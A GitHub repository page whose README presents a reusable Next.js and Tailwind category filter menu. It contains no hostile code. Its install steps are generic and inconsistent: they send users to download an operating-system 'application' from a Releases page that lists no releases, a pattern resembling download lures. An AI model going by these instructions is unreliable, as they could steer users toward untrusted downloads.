Skip to content

πŸ›’ Build engaging e-commerce sites with reusable Next.js UI components, designed for scalability and pixel-perfect accuracy, using TypeScript and Tailwind CSS.

Notifications You must be signed in to change notification settings

prashanthgoldberg/Reusable-Ecommerce-UI-Components--NextJS-Frontend

Repository files navigation

πŸŽ‰ Reusable-Ecommerce-UI-Components--NextJS-Frontend - Create Beautiful Category Menus Easily

Download

πŸ“– Overview

This project is a pixel-perfect implementation of a category filter menu bar UI. It is built with Next.js, TypeScript, Tailwind CSS, and ESLint. The filter bar and dropdowns are styled to match a Figma design exactly. You will find custom icons, checkboxes, and a responsive layout to enhance your user experience.

πŸš€ Getting Started

Follow these simple steps to get the application running on your device.

  1. Download the Application
    Visit the Releases page to download the application. Look for the most recent version, and click on the download link for your operating system.

  2. Unzip the Downloaded File
    Once the download is complete, locate the downloaded file in your downloads folder. Right-click on the file and choose β€œExtract All” or use any unzipping tool you have.

  3. Open the Project Folder
    After extracting, navigate to the newly created folder. This folder contains all the files required to run the application.

  4. Run the Application
    You will need Node.js installed on your computer to run this application. If you haven't installed Node.js, download it here.

    Once Node.js is installed, open your terminal (Command Prompt on Windows or Terminal on Mac). Execute the following commands:

    cd path/to/your/extracted/folder
    npm install
    npm run dev

    Replace path/to/your/extracted/folder with the actual path to the extracted folder.

  5. View the Application
    Open your web browser and go to http://localhost:3000. You should see the category filter menu bar UI ready for use!

πŸ“¦ Features

  • Responsive Design: The layout adapts perfectly to any screen size.
  • Custom Icons: Enjoy a set of unique icons that enhance the visual appeal.
  • Multi-Select Dropdowns: Easily filter categories with our user-friendly dropdowns.
  • Pixel-Perfect Implementation: What you see in Figma mirrors the final product.
  • Reusable Components: Save time with pre-built components that you can integrate into your projects.

🎯 Topics

  • app-router-nextjs
  • category-filter
  • category-menu
  • checkboxlist
  • custom-icons
  • dropdown-list
  • dropdown-menu
  • filter-dropdown
  • multi-filtering
  • multi-select-dropdown
  • nextjs
  • pixel-perfect
  • responsive-design
  • reusable-code
  • reusable-components
  • reusable-module
  • reusable-template
  • tailwindcss
  • typescript

πŸ“₯ Download & Install

To download the latest version, visit the Releases page. Choose the version that suits your needs, click the link, and begin your download. Follow the instructions outlined in the "Getting Started" section to properly install and run the software on your computer.

βš™οΈ System Requirements

  • Operating System: Windows, Mac, or Linux
  • Node.js: Version 14 or higher
  • Browser: Latest version of Chrome, Firefox, or Safari
  • Internet Connection: Required to download and install dependencies

πŸ’¬ Support

If you encounter any issues or have questions, feel free to reach out through the Issues section on GitHub. Your feedback helps improve this application.

πŸ”— Contributing

We welcome contributions! If you wish to improve the project, please fork the repository and submit a pull request. Your input is valuable to us.

πŸ“œ License

This project is licensed under the MIT License. Feel free to use and modify it for your own needs.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •